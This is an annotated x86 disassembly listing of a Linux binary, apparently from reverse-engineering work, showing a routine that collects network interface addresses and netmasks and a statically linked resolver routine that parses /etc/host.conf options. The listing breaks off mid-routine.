		cmp	eax, 0FFFFFFFFh
		jz	loc_0_804A9C9
		mov	[ebp+var_148], 140h
		lea	edi, [ebp+var_140]
		mov	[ebp+var_144], edi
		lea	eax, [ebp+var_148]
		push	eax
		push	8912h
		mov	edi, [ebp+var_150]
		push	edi
		call	sub_0_8057280
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_0_804A9C9
		mov	edi, [ebp+var_148]
		shr	edi, 5
		mov	[ebp+var_154], edi
		mov	ds:dword_0_80793B0, offset unk_0_80792C0
		mov	edi, [ebp+var_144]
		mov	[ebp+var_168], edi
		cmp	[ebp+var_154], 0
		jz	loc_0_804A8DB
		mov	ebx, edi
		add	ebx, 14h
		mov	eax, [ebp+var_154]
		and	eax, 1
		cmp	[ebp+var_154], 0
		jle	short loc_0_804A6A4
		test	eax, eax
		jz	loc_0_804A747

loc_0_804A6A4:				; CODE XREF: sub_0_804A5CC+CEj
		mov	edi, [ebp+var_168]
		call	strcpy(dword_0_80793b0,edi)
		call	ioctl(var_150,SIOCGIFNETMASK,edi)
		cmp	eax, 0FFFFFFFFh
		jz	short loc_0_804A731
		cmp	word ptr [ebx-4], 2
		jnz	short loc_0_804A731
		mov	esi, [ebx]
		call	ioctl(var_150,SIOCGIFADDR,var_168)
		cmp	eax, 0FFFFFFFFh
		jz	short loc_0_804A731
		cmp	word ptr [ebx-4], 2
		jnz	short loc_0_804A731
		mov	edx, [ebx]
		and	edx, esi
		jz	short loc_0_804A731
		mov	eax, ds:dword_0_80793B0
		mov	[eax+10h], edx
		mov	[eax+14h], esi
		cmp	dword_0_8078524, 0FFFFFFFFh
		jnz	short loc_0_804A724
		mov	dword_0_8078524, 0

loc_0_804A724:				; CODE XREF: sub_0_804A5CC+14Cj
		add	ds:dword_0_80793B0, 18h
		inc	dword_0_8078524

loc_0_804A731:				; CODE XREF: sub_0_804A5CC+102j
					; sub_0_804A5CC+109j ...
		add	ebx, 20h
		add	[ebp+var_168], 20h
		dec	[ebp+var_154]
		jz	loc_0_804A8DB

loc_0_804A747:				; CODE XREF: sub_0_804A5CC+D2j
		mov	[ebp+var_158], ebx
		lea	edi, [ebx-4]
		mov	[ebp+var_15C], edi
		mov	[ebp+var_160], ebx
		mov	[ebp+var_164], edi
		lea	esi, [esi]

loc_0_804A764:				; CODE XREF: sub_0_804A5CC+309j
		mov	edi, [ebp+var_168]
		call	strcpy(dword_0_80793b0,edi)
		call	ioctl(var_150,SIOCGIFNETMASK,edi)
		cmp	eax, 0FFFFFFFFh
		jz	short loc_0_804A807
		mov	edi, [ebp+var_164]
		cmp	word ptr [edi],	2
		jnz	short loc_0_804A807
		mov	edi, [ebp+var_160]
		mov	ebx, [edi]
		call	ioctl(var_150,SIOCGIFADDR,var_168)
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_0_804A807
		mov	edi, [ebp+var_15C]
		cmp	word ptr [edi],	2
		jnz	short loc_0_804A807
		mov	edi, [ebp+var_158]
		mov	edx, [edi]
		and	edx, ebx
		jz	short loc_0_804A807
		mov	eax, ds:dword_0_80793B0
		mov	[eax+10h], edx
		mov	[eax+14h], ebx
		cmp	dword_0_8078524, 0FFFFFFFFh
		jnz	short loc_0_804A7FA
		mov	dword_0_8078524, 0

loc_0_804A7FA:				; CODE XREF: sub_0_804A5CC+222j
		add	ds:dword_0_80793B0, 18h
		inc	dword_0_8078524

loc_0_804A807:				; CODE XREF: sub_0_804A5CC+1C2j
					; sub_0_804A5CC+1CEj ...
		mov	ebx, [ebp+var_168]
		add	ebx, 20h
		call	strcpy(dword_0_80793b0,ebx)
		call	ioctl(var_150,SIOGIFNETMASK,ebx)
		cmp	eax, 0FFFFFFFFh
		jz	short loc_0_804A8AB
		mov	edi, [ebp+var_164]
		cmp	word ptr [edi+20h], 2
		jnz	short loc_0_804A8AB
		mov	edi, [ebp+var_160]
		mov	esi, [edi+20h]
		call	ioctl(var_150,SIOCGIFADDR,ebx)
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_0_804A8AB
		mov	edi, [ebp+var_15C]
		cmp	word ptr [edi+20h], 2
		jnz	short loc_0_804A8AB
		mov	edi, [ebp+var_158]
		mov	edx, [edi+20h]
		and	edx, esi
		jz	short loc_0_804A8AB
		mov	eax, ds:dword_0_80793B0
		mov	[eax+10h], edx
		mov	[eax+14h], esi
		cmp	dword_0_8078524, 0FFFFFFFFh
		jnz	short loc_0_804A89E
		mov	dword_0_8078524, 0

loc_0_804A89E:				; CODE XREF: sub_0_804A5CC+2C6j
		add	ds:dword_0_80793B0, 18h
		inc	dword_0_8078524

loc_0_804A8AB:				; CODE XREF: sub_0_804A5CC+268j
					; sub_0_804A5CC+275j ...
		add	[ebp+var_158], 40h
		add	[ebp+var_15C], 40h
		add	[ebp+var_160], 40h
		add	[ebp+var_164], 40h
		add	[ebp+var_168], 40h
		add	[ebp+var_154], 0FFFFFFFEh
		jnz	loc_0_804A764

loc_0_804A8DB:				; CODE XREF: sub_0_804A5CC+B3j
					; sub_0_804A5CC+175j
		call	close(var_150)
		cmp	dword_0_8078524, 0
		jz	loc_0_804A9C9

loc_0_804A8F7:				; CODE XREF: sub_0_804A5CC+2Aj
		mov	edi, [ebp+arg_0]
		mov	ebx, [edi+10h]
		test	ebx, ebx
		jz	loc_0_804A9C9
		lea	esi, [ebp+var_14C]
		nop	

loc_0_804A90C:				; CODE XREF: sub_0_804A5CC+3F7j
		cmp	dword ptr [ebx], 0
		jz	loc_0_804A9C9
		mov	ds:dword_0_80793B0, offset unk_0_80792C0
		mov	ecx, dword_0_8078524
		test	ecx, ecx
		jz	loc_0_804A9C0
		mov	eax, ecx
		and	eax, 1
		test	ecx, ecx
		jle	short loc_0_804A93A
		test	eax, eax
		jz	short loc_0_804A958

loc_0_804A93A:				; CODE XREF: sub_0_804A5CC+368j
		mov	eax, [ebx]
		mov	edx, ds:dword_0_80793B0
		mov	eax, [eax]
		and	eax, [edx+14h]
		cmp	[edx+10h], eax
		jz	short loc_0_804A983
		add	ds:dword_0_80793B0, 18h
		dec	ecx
		jz	short loc_0_804A9C0
		lea	esi, [esi]

loc_0_804A958:				; CODE XREF: sub_0_804A5CC+36Cj
					; sub_0_804A5CC+3F2j
		mov	eax, [ebx]
		mov	edx, ds:dword_0_80793B0
		mov	eax, [eax]
		and	eax, [edx+14h]
		cmp	[edx+10h], eax
		jz	short loc_0_804A983
		add	ds:dword_0_80793B0, 18h
		mov	eax, [ebx]
		mov	edx, ds:dword_0_80793B0
		mov	eax, [eax]
		and	eax, [edx+14h]
		cmp	[edx+10h], eax
		jnz	short loc_0_804A9B4

loc_0_804A983:				; CODE XREF: sub_0_804A5CC+37Ej
					; sub_0_804A5CC+39Cj
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+10h]
		call	memmove2([eax],esi,4)
		mov	eax, [edi+10h]
		call	memmove2([ebx],[eax],4)
		call	memmove2(esi,[ebx],4)
		jmp	short loc_0_804A9C9
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804A9B4:				; CODE XREF: sub_0_804A5CC+3B5j
		add	ds:dword_0_80793B0, 18h
		add	ecx, 0FFFFFFFEh
		jnz	short loc_0_804A958

loc_0_804A9C0:				; CODE XREF: sub_0_804A5CC+35Bj
					; sub_0_804A5CC+388j
		add	ebx, 4
		jnz	loc_0_804A90C

loc_0_804A9C9:				; CODE XREF: sub_0_804A5CC+13j
					; sub_0_804A5CC+1Dj ...
		lea	esp, [ebp+var_174]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_804A5CC	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_804A9D8	proc near		; CODE XREF: .text:0804BEBFp
					; sub_0_804BF80+E1p ...

var_420		= byte ptr -420h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
var_400		= byte ptr -400h
var_3FC		= byte ptr -3FCh
var_3FB		= byte ptr -3FBh
var_3F9		= byte ptr -3F9h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		push	edi
		push	esi
		push	ebx
		xor	esi, esi
		mov	[ebp+var_408], offset unk_0_807A358
		call	sub_0_805E954
		call	getenv('RESOLV_HOST_CONF')
		mov	[ebp+var_40C], eax
		test	eax, eax
		jnz	short loc_0_804AA16
		mov	[ebp+var_40C], offset aEtcHost_conf ; "/etc/host.conf"

loc_0_804AA16:				; CODE XREF: sub_0_804A9D8+32j
		call	fopen(var_40c,'r')
		mov	[ebp+var_404], eax
		add	esp, 8
		test	eax, eax
		jnz	short loc_0_804AA50
		mov	ds:dword_0_8079DD4, 1
		mov	ds:dword_0_8079DD8, 0
		jmp	loc_0_804B436
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804AA50:				; CODE XREF: sub_0_804A9D8+5Aj
		lea	ecx, [ebp+var_400]
		mov	[ebp+var_410], ecx

loc_0_804AA5C:				; CODE XREF: sub_0_804A9D8+CAj
					; sub_0_804A9D8+EFj ...
		call	fread(var_410,400h,var_404)
		mov	edx, eax
		test	edx, edx
		jz	loc_0_804B41C
		push	0Ah
		mov	eax, [ebp+var_410]
		push	eax
		call	sub_0_8057BE8
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_0_804AA9B
		mov	byte ptr [ebx],	0

loc_0_804AA9B:				; CODE XREF: sub_0_804A9D8+BEj
		cmp	[ebp+var_400], 23h
		jz	short loc_0_804AA5C
		lea	ebx, [ebp+var_400]
		cmp	[ebp+var_400], 0
		jz	short loc_0_804AACE
		mov	edx, tableBit

loc_0_804AABC:				; CODE XREF: sub_0_804A9D8+F4j
		movzx	eax, byte ptr [ebx]
		test	byte ptr [edx+eax*2+1],	20h
		jz	short loc_0_804AACE
		inc	ebx
		jz	short loc_0_804AA5C
		cmp	byte ptr [ebx],	0
		jnz	short loc_0_804AABC

loc_0_804AACE:				; CODE XREF: sub_0_804A9D8+D9j
					; sub_0_804A9D8+ECj
		test	ebx, ebx
		jz	short loc_0_804AA5C
		cmp	byte ptr [ebx],	0
		jz	short loc_0_804AA5C
		mov	edx, strlen(ebx)+1
		mov	[ebp+var_414], edx
		call	memmove(var_410,ebx,edx)
		call	memcmp(var_410,'order',5)
		mov	edx, eax
		test	edx, edx
		jnz	loc_0_804AD64
		cmp	[ebp+var_3FB], 0
		jz	short loc_0_804AB3B
		movzx	edx, [ebp+var_3FB]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	20h
		jz	loc_0_804AD64

loc_0_804AB3B:				; CODE XREF: sub_0_804A9D8+14Aj
		call	strpbrk(var_410,'\t')
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_0_804AB5B
		cmp	byte ptr [ebx+1], 0
		jnz	short loc_0_804AB7D

loc_0_804AB5B:				; CODE XREF: sub_0_804A9D8+17Bj
		push	offset aOrder	; "order"
		mov	ecx, [ebp+var_40C]
		push	ecx
		push	offset aResolvSSComman ; "resolv+: %s: \"%s\" command incorrectly f"...
		push	0Ch
		push	0Bh
		mov	eax, dword_0_8078F9C
		push	eax
		jmp	loc_0_804B3AC
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804AB7C:				; CODE XREF: sub_0_804A9D8+1A8j
					; sub_0_804A9D8+1ADj
		inc	ebx

loc_0_804AB7D:				; CODE XREF: sub_0_804A9D8+181j
					; sub_0_804A9D8+321j
		cmp	byte ptr [ebx],	20h
		jz	short loc_0_804AB7C
		cmp	byte ptr [ebx],	9
		jz	short loc_0_804AB7C
		call	strpbrk(ebx,' ,;:') 
		mov	edi, eax
		test	edi, edi
		jz	short loc_0_804AB9E
		mov	byte ptr [edi],	0

loc_0_804AB9E:				; CODE XREF: sub_0_804A9D8+1C1j
		call	memcmp(ebx,'bind',4)
		test	eax, eax
		jnz	short loc_0_804ABEC
		cmp	byte ptr [ebx+4], 0
		jz	short loc_0_804ABC8
		movzx	edx, byte ptr [ebx+4]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_0_804ABEC

loc_0_804ABC8:				; CODE XREF: sub_0_804A9D8+1DEj
		mov	ds:dword_0_8079DD4[esi*4], 1
		inc	esi
		test	byte ptr dword_0_807854C, 1
		jnz	loc_0_804ACF0
		call	sub_0_804D744
		jmp	loc_0_804ACF0
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804ABEC:				; CODE XREF: sub_0_804A9D8+1D8j
					; sub_0_804A9D8+1EEj
		call	memcmp(ebx,'host'5)
		test	eax, eax
		jnz	short loc_0_804AC28
		cmp	byte ptr [ebx+5], 0
		jz	short loc_0_804AC16
		movzx	edx, byte ptr [ebx+5]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_0_804AC28

loc_0_804AC16:				; CODE XREF: sub_0_804A9D8+22Cj
		mov	ds:dword_0_8079DD4[esi*4], 2
		inc	esi
		jmp	loc_0_804ACF0
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804AC28:				; CODE XREF: sub_0_804A9D8+226j
					; sub_0_804A9D8+23Cj
		call	memcmp(ebx,'nis',3)
		test	eax, eax
		jnz	short loc_0_804AC64
		cmp	byte ptr [ebx+3], 0
		jz	short loc_0_804AC52
		movzx	edx, byte ptr [ebx+3]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_0_804AC64

loc_0_804AC52:				; CODE XREF: sub_0_804A9D8+268j
		mov	ds:dword_0_8079DD4[esi*4], 3
		inc	esi
		jmp	loc_0_804ACF0
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804AC64:				; CODE XREF: sub_0_804A9D8+262j
					; sub_0_804A9D8+278j
		push	offset aOrder	; "order"
		mov	ecx, [ebp+var_40C]
		push	ecx
		push	offset aResolvSSComman ; "resolv+: %s: \"%s\" command incorrectly f"...
		push	0Ch
		push	0Bh
		mov	eax, dword_0_8078F9C
		push	eax
		call	sub_0_805E584
		add	esp, 10h
		call	fprintf(unk_0_80787a4,eax)
		push	ebx
		push	offset aResolvSIsAnInv ; "resolv+: \"%s\" is an	invalid	keyword\n"
		push	0Dh
		push	0Bh
		mov	ecx, dword_0_8078F9C
		push	ecx
		call	sub_0_805E584
		add	esp, 10h
		call	fprintf(unk_0_80787a4,eax)
		push	offset aNis	; "nis"
		push	offset aHosts	; "hosts"
		push	offset aBind	; "bind"
		push	offset aResolvValidKey ; "resolv+: valid keywords are: %s, %s and"...
		push	0Eh
		push	0Bh
		mov	eax, dword_0_8078F9C
		push	eax
		call	sub_0_805E584
		add	esp, 10h
		call	fprintf(unk_80787a4,eax)
		add	esp, 30h

loc_0_804ACF0:				; CODE XREF: sub_0_804A9D8+203j
					; sub_0_804A9D8+20Ej ...
		test	edi, edi
		jz	short loc_0_804ACFF
		lea	ebx, [edi+1]
		test	ebx, ebx
		jnz	loc_0_804AB7D

loc_0_804ACFF:				; CODE XREF: sub_0_804A9D8+31Aj
		test	esi, esi
		jnz	loc_0_804AA5C
		push	offset aOrder	; "order"
		mov	ecx, [ebp+var_40C]
		push	ecx
		push	offset aResolvSSComman ; "resolv+: %s: \"%s\" command incorrectly f"...
		push	0Ch
		push	0Bh
		mov	eax, dword_0_8078F9C
		push	eax
		call	sub_0_805E584
		add	esp, 10h
		call	fprintf(unk_0_80787a4,eax)
		push	offset aResolvSearchOr ; "resolv+: search order	not specified or "...
		push	0Fh
		push	0Bh
		mov	ecx, dword_0_8078F9C
		push	ecx
		call	sub_0_805E584
		call	fprintf(unk_0_80787a4,eax)
		add	esp, 28h
		jmp	loc_0_804AA5C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804AD64:				; CODE XREF: sub_0_804A9D8+13Dj
					; sub_0_804A9D8+15Dj
		call	memcmp(var_410,'multi',5)
		mov	edx, eax
		test	edx, edx
		jnz	loc_0_804AEA8
		cmp	[ebp+var_3FB], 0
		jz	short loc_0_804ADA4
		movzx	edx, [ebp+var_3FB]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	20h
		jz	loc_0_804AEA8

loc_0_804ADA4:				; CODE XREF: sub_0_804A9D8+3B3j
		call	strpbrk(var_410,' \t')
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_0_804AE9C
		cmp	byte ptr [ebx],	0
		jz	short loc_0_804ADE6
		mov	edx, tableBit
		lea	esi, [esi+0]

loc_0_804ADD0:				; CODE XREF: sub_0_804A9D8+40Cj
		movzx	eax, byte ptr [ebx]
		test	byte ptr [edx+eax*2+1],	20h
		jz	short loc_0_804ADE6
		inc	ebx
		jz	loc_0_804AE9C
		cmp	byte ptr [ebx],	0
		jnz	short loc_0_804ADD0

loc_0_804ADE6:				; CODE XREF: sub_0_804A9D8+3EDj
					; sub_0_804A9D8+400j
		test	ebx, ebx
		jz	loc_0_804AE9C
		cmp	byte ptr [ebx],	0
		jz	loc_0_804AE9C
		mov	edi, ebx
		xor	al, al
		cld	
		mov	ecx, 0FFFFFFFFh
		repne scasb
		cmp	ecx, 0FFFFFFFCh
		jnz	short loc_0_804AE44
		call	memcmp(ebx,'on',2)
		test	eax, eax
		jnz	short loc_0_804AE44
		cmp	byte ptr [ebx+2], 0
		jz	short loc_0_804AE32
		movzx	edx, byte ptr [ebx+2]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_0_804AE44

loc_0_804AE32:				; CODE XREF: sub_0_804A9D8+448j
		mov	dword_0_8078510, 1
		jmp	loc_0_804AA5C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804AE44:				; CODE XREF: sub_0_804A9D8+42Ej
					; sub_0_804A9D8+442j ...
		mov	edi, ebx
		xor	al, al
		cld	
		mov	ecx, 0FFFFFFFFh
		repne scasb
		cmp	ecx, 0FFFFFFFBh
		jnz	short loc_0_804AE90
		call	memcmp(ebx,'off',3)
		test	eax, eax
		jnz	short loc_0_804AE90
		cmp	byte ptr [ebx+3], 0
		jz	short loc_0_804AE7F
		movzx	edx, byte ptr [ebx+3]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_0_804AE90

loc_0_804AE7F:				; CODE XREF: sub_0_804A9D8+495j
		mov	dword_0_8078510, 0
		jmp	loc_0_804AA5C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804AE90:				; CODE XREF: sub_0_804A9D8+47Bj
					; sub_0_804A9D8+48Fj ...
		push	offset aMulti	; "multi"
		jmp	loc_0_804B261
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804AE9C:				; CODE XREF: sub_0_804A9D8+3E4j
					; sub_0_804A9D8+403j ...
		push	offset aMulti	; "multi"
		jmp	loc_0_804B395
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804AEA8:				; CODE XREF: sub_0_804A9D8+3A6j
					; sub_0_804A9D8+3C6j
		call	memcmp(var_410,'nospoof',7)
		mov	edx, eax
		test	edx, edx
		jnz	loc_0_804AFEC
		cmp	[ebp+var_3F9], 0
		jz	short loc_0_804AEE8
		movzx	edx, [ebp+var_3F9]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	20h
		jz	loc_0_804AFEC

loc_0_804AEE8:				; CODE XREF: sub_0_804A9D8+4F7j
		call	strpbrk(var_410,' \t')
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	loc_0_804AFE0
		cmp	byte ptr [ebx],	0
		jz	short loc_0_804AF2A
		mov	edx, tableBit
		lea	esi, [esi+0]

loc_0_804AF14:				; CODE XREF: sub_0_804A9D8+550j
		movzx	eax, byte ptr [ebx]
		test	byte ptr [edx+eax*2+1],	20h
		jz	short loc_0_804AF2A
		inc	ebx
		jz	loc_0_804AFE0
		cmp	byte ptr [ebx],	0
		jnz	short loc_0_804AF14

loc_0_804AF2A:				; CODE XREF: sub_0_804A9D8+531j
					; sub_0_804A9D8+544j
		test	ebx, ebx
		jz	loc_0_804AFE0
		cmp	byte ptr [ebx],	0
		jz	loc_0_804AFE0
		mov	edi, ebx
		xor	al, al
		cld	
		mov	ecx, 0FFFFFFFFh
		repne scasb
		cmp	ecx, 0FFFFFFFCh
		jnz	short loc_0_804AF88
		call	memcmp(ebx,'on',2)
		test	eax, eax
		jnz	short loc_0_804AF88
		cmp	byte ptr [ebx+2], 0
		jz	short loc_0_804AF76
		movzx	edx, byte ptr [ebx+2]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_0_804AF88

loc_0_804AF76:				; CODE XREF: sub_0_804A9D8+58Cj
		mov	dword_0_8078514, 1
		jmp	loc_0_804AA5C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804AF88:				; CODE XREF: sub_0_804A9D8+572j
					; sub_0_804A9D8+586j ...
		mov	edi, ebx
		xor	al, al
		cld	
		mov	ecx, 0FFFFFFFFh
		repne scasb
		cmp	ecx, 0FFFFFFFBh
		jnz	short loc_0_804AFD4
		call	memcmp(ebx,'off',3)
		test	eax, eax
		jnz	short loc_0_804AFD4
		cmp	byte ptr [ebx+3], 0
		jz	short loc_0_804AFC3
		movzx	edx, byte ptr [ebx+3]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_0_804AFD4

loc_0_804AFC3:				; CODE XREF: sub_0_804A9D8+5D9j
		mov	dword_0_8078514, 0
		jmp	loc_0_804AA5C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804AFD4:				; CODE XREF: sub_0_804A9D8+5BFj
					; sub_0_804A9D8+5D3j ...
		push	offset aNospoof	; "nospoof"
		jmp	loc_0_804B261
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804AFE0:				; CODE XREF: sub_0_804A9D8+528j
					; sub_0_804A9D8+547j ...
		push	offset aNospoof	; "nospoof"
		jmp	loc_0_804B395
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804AFEC:				; CODE XREF: sub_0_804A9D8+4EAj
					; sub_0_804A9D8+50Aj
		call	memcmp(var_410,'alert',5)
		mov	edx, eax
		test	edx, edx
		jnz	loc_0_804B130
		cmp	[ebp+var_3FB], 0
		jz	short loc_0_804B02C
		movzx	edx, [ebp+var_3FB]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	20h
		jz	loc_0_804B130

loc_0_804B02C:				; CODE XREF: sub_0_804A9D8+63Bj
		call	strpbrk(var_410,' \t')
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_0_804B124
		cmp	byte ptr [ebx],	0
		jz	short loc_0_804B06E
		mov	edx, tableBit
		lea	esi, [esi+0]

loc_0_804B058:				; CODE XREF: sub_0_804A9D8+694j
		movzx	eax, byte ptr [ebx]
		test	byte ptr [edx+eax*2+1],	20h
		jz	short loc_0_804B06E
		inc	ebx
		jz	loc_0_804B124
		cmp	byte ptr [ebx],	0
		jnz	short loc_0_804B058

loc_0_804B06E:				; CODE XREF: sub_0_804A9D8+675j
					; sub_0_804A9D8+688j
		test	ebx, ebx
		jz	loc_0_804B124
		cmp	byte ptr [ebx],	0
		jz	loc_0_804B124
		mov	edi, ebx
		xor	al, al
		cld	
		mov	ecx, 0FFFFFFFFh
		repne scasb
		cmp	ecx, 0FFFFFFFCh
		jnz	short loc_0_804B0CC
		call	memcmp(ebx,'on',2)
		test	eax, eax
		jnz	short loc_0_804B0CC
		cmp	byte ptr [ebx+2], 0
		jz	short loc_0_804B0BA
		movzx	edx, byte ptr [ebx+2]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_0_804B0CC

loc_0_804B0BA:				; CODE XREF: sub_0_804A9D8+6D0j
		mov	dword_0_8078518, 1
		jmp	loc_0_804AA5C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804B0CC:				; CODE XREF: sub_0_804A9D8+6B6j
					; sub_0_804A9D8+6CAj ...
		mov	edi, ebx
		xor	al, al
		cld	
		mov	ecx, 0FFFFFFFFh
		repne scasb
		cmp	ecx, 0FFFFFFFBh
		jnz	short loc_0_804B118
		call	memcmp(ebx,'off',3)
		test	eax, eax
		jnz	short loc_0_804B118
		cmp	byte ptr [ebx+3], 0
		jz	short loc_0_804B107
		movzx	edx, byte ptr [ebx+3]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_0_804B118

loc_0_804B107:				; CODE XREF: sub_0_804A9D8+71Dj
		mov	dword_0_8078518, 0
		jmp	loc_0_804AA5C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804B118:				; CODE XREF: sub_0_804A9D8+703j
					; sub_0_804A9D8+717j ...
		push	offset aAlert	; "alert"
		jmp	loc_0_804B261
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804B124:				; CODE XREF: sub_0_804A9D8+66Cj
					; sub_0_804A9D8+68Bj ...
		push	offset aAlert	; "alert"
		jmp	loc_0_804B395
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804B130:				; CODE XREF: sub_0_804A9D8+62Ej
					; sub_0_804A9D8+64Ej
		call	memcmp(var_410,'reorder',7)
		mov	edx, eax
		test	edx, edx
		jnz	loc_0_804B2C8
		cmp	[ebp+var_3F9], 0
		jz	short loc_0_804B170
		movzx	edx, [ebp+var_3F9]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	20h
		jz	loc_0_804B2C8

loc_0_804B170:				; CODE XREF: sub_0_804A9D8+77Fj
		call	strpbrk(var_410,' \t')
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_0_804B2BC
		cmp	byte ptr [ebx],	0
		jz	short loc_0_804B1B2
		mov	edx, tableBit
		lea	esi, [esi+0]

loc_0_804B19C:				; CODE XREF: sub_0_804A9D8+7D8j
		movzx	eax, byte ptr [ebx]
		test	byte ptr [edx+eax*2+1],	20h
		jz	short loc_0_804B1B2
		inc	ebx
		jz	loc_0_804B2BC
		cmp	byte ptr [ebx],	0
		jnz	short loc_0_804B19C

loc_0_804B1B2:				; CODE XREF: sub_0_804A9D8+7B9j
					; sub_0_804A9D8+7CCj
		test	ebx, ebx
		jz	loc_0_804B2BC
		cmp	byte ptr [ebx],	0
		jz	loc_0_804B2BC
		mov	edi, ebx
		xor	al, al
		cld	
		mov	ecx, 0FFFFFFFFh
		repne scasb
		cmp	ecx, 0FFFFFFFCh
		jnz	short loc_0_804B210
		call	memcmp(ebx,'on',2)
		test	eax, eax
		jnz	short loc_0_804B210
		cmp	byte ptr [ebx+2], 0
		jz	short loc_0_804B1FE
		movzx	edx, byte ptr [ebx+2]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_0_804B210

loc_0_804B1FE:				; CODE XREF: sub_0_804A9D8+814j
		mov	dword_0_807851C, 1
		jmp	loc_0_804AA5C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804B210:				; CODE XREF: sub_0_804A9D8+7FAj
					; sub_0_804A9D8+80Ej ...
		mov	edi, ebx
		xor	al, al
		cld	
		mov	ecx, 0FFFFFFFFh
		repne scasb
		cmp	ecx, 0FFFFFFFBh
		jnz	short loc_0_804B25C
		call	memcmp(ebx,'off',3)
		test	eax, eax
